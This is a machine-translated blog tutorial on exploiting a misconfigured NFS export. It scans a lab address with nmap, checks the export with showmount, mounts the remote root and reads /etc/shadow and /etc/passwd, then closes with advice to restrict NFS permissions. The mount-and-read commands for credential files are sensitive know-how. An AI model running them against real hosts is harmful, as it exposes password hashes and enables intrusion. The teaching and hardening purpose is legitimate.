当前位置:网站首页>6-19 vulnerability exploitation -nsf to obtain the target password file
6-19 vulnerability exploitation -nsf to obtain the target password file
2022-07-26 17:32:00 【Mountain Rabbit 1】

nfs Introduce
NFS(Network File System) Network file system , yes FreeBSD One of the supported file systems , It allows computers in the network to pass through TCP/IP Network sharing resources . stay NFS The application of , Local NFS Client applications of can be accessed through TCP/IP The channel reads and writes transparently at the far end NFS Files on the server , It's like accessing a local file .
It and smb The effect is similar to , But its agreement is different , We can go through nmap Target detection IP Address , Check to see if it's on NFS service ,nfs It's usually 2049 port
nmap 192.168.1.105

nmap -p 2049 -sV 192.168.1.105

Detect its specific information , function TCP port ,nfs service , And versions
We already know that the goal is on NFS, This is the time , We are about to start using nfs Read files
Target detection nfs
nmap --script=nfs-* IP
// The asterisk loads all about nfs Detected script , To detect the corresponding target IP Address

In the process of our return , The notice is through rpcbind 111 port , To return ,nfs-showmount Show that you can escape by command , And its authority , Its contents in the directory ,nfs-statfs Show its size 、 Usage rate
nmap --script=nfs-* 192.168.42.137

Probe nfs Can I export
Except that it can be used nmap Judge nfs Can I export , We can also use showmount Command to determine “/” share ( The root of the file system ) Can I export to local . Installation may be required nfs-common The bag can only be used "showmount" command
apt-get install nfs-common
// install nfs-common package

showmount -e IP

/* Indicates the contents under the root directory , Can be exported
View the exported content
mkdir nfs_root
// Are you sure you want to export the new content
mount -t nfs IP Address :/ ~/nfs_root -o nolock
//-o nolock Without any treatment , Direct output
cat ~/nfs_root/etc/shadow
mkdir nfs_root
cd nfs_root/
mount -t nfs 192.168.42.137:/ ~/nfs_root -o nolock
cat ~/nfs-root/etc/shadow
cat ~/nfs-root/etc/passwd



We have successfully utilized nfs To configure , The corresponding information is exported , Read locally , thus , We found that nfs Improper configuration , It will lead to great hidden dangers , Because it can read , All the contents of our public system , We need to nfs Impose strict restrictions , bring , We cannot read arbitrary files , Only fixed shared files can be read , Do a good job in permission control
边栏推荐
- [basic course of flight control development 2] crazy shell · open source formation UAV - timer (LED flight information light and indicator light flash)
- On the evolution of cloud native edge computing framework
- Detailed explanation of openwrt's feeds.conf.default
- Pack tricks
- Brief introduction to CUDA image construction
- The principle of reliable transmission in TCP protocol
- Use dired to move files quickly
- 环境搭建-MongoDB
- Pay attention to the traffic safety warning of tourism passenger transport issued by the Ministry of public security
- [machine learning] principle and code of mean shift
猜你喜欢

机器学习-什么是机器学习、监督学习和无监督学习
![[basic course of flight control development 1] crazy shell · open source formation UAV GPIO (LED flight information light and signal light control)](/img/48/6dcaf4c9695d90e62036396cd81366.png)
[basic course of flight control development 1] crazy shell · open source formation UAV GPIO (LED flight information light and signal light control)

GAN (Generative Adversarial Network,GAN)生成式对抗网络
![Leetcode:1206. design jump table [jump table board]](/img/4f/2b6df8e2151b8bce70c8227c69d8bc.png)
Leetcode:1206. design jump table [jump table board]

Review the past and know the new MySQL isolation level

About the adjustment of the game background, reading this article is enough

Crazy God redis notes 02

(25)Blender源码分析之顶层菜单Blender菜单
![[development tutorial 8] crazy shell · open source Bluetooth heart rate waterproof sports Bracelet - triaxial meter pace](/img/92/91cbc9dad67bb23276386dcbb82f1c.png)
[development tutorial 8] crazy shell · open source Bluetooth heart rate waterproof sports Bracelet - triaxial meter pace

Establishment of Eureka registration center Eureka server
随机推荐
Anaconda download and Spyder error reporting solution
Brief introduction to CUDA image construction
GAN (Generative Adversarial Network,GAN)生成式对抗网络
Shrimp Shope get commodity details according to ID API return value description
What kind of product is the Jetson nano? (how about the performance of Jetson nano)
Interface comparator
Pass-19,20
In May, 2022, video user insight: user use time increased, and the platform achieved initial results in cost reduction and efficiency increase
环境搭建-MongoDB
Focus on 5g and AI! Next year, zhanrui will promote 7Nm 5g chips and NPU chips!
Merge multiple row headers based on apache.poi operation
How does the data link layer transmit data
How emqx 5.0 under the new architecture of mria+rlog realizes 100million mqtt connections
(24)Blender源码分析之顶层菜单显示代码分析
[Luogu cf643f] bears and juice (conclusion)
[daily3] vgg16 learning
OA项目之我的会议(会议排座&送审)
The first self-developed embedded 40nm industrial scale memory chip in China was released, breaking the status quo that the localization rate is zero
徽商期货网上开户安全吗?开户办理流程是怎样的?
pip安装模块,报错